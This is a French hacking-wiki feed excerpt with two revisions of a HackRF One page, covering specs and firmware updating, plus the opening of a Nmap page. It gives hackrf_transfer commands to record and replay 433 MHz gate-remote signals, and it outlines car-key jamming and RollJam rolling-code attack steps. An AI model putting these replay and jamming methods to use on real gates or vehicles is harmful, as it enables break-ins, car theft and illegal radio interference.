		<summary type="html">&lt;p&gt;OldNeib : /* Mise à jour du micrologiciel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93558</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93558"/>
		<updated>2023-12-02T15:48:47Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* HackRF One */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93557</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93557"/>
		<updated>2023-12-02T15:47:29Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Burp Suite */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
